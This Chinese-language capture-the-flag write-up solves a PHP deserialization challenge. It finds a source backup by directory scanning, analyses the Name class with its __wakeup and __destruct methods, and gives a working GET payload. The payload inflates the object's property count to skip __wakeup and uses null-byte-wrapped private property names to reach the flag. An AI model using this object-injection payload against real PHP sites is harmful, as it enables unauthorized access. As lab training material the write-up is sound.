根据题目提示“我经常备份”,推测可能是网站备份在某个路径下
使用dirmap扫描得到
下载得到一个压缩包,里面是网站的源码
里面的flag是假的
我们分析index.php和class.php
index.php里面的php代码
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>
这里是引用了class.php文件,用get方法传入一个select变量,然后对其进行反序列化
class.php里面的代码
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
class中的类有两个private变量
其中的析构函数__destruct只有在对象被垃圾收集器收集前(即对象从内存中删除之前)才会被自动调用。析构函数允许我们在销毁一个对象之前执行一些特定的操作,例如关闭文件、释放结果集等。
其中执行了两个判断:password是否为100,username是否为admin
也就是说我们需要在创建对象的时候(构造函数__construct)传入’admin’,100
<?php
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
}
$a=new Name('admin',100);
echo serialize($a);
?>
这里不需要__destruct函数,所以只取前几个函数
得到
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
这里我们就需要用到一个知识:
https://blog.csdn.net/weixin_45844670/article/details/108171963
payload:
?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
利用里面的方法就得到flag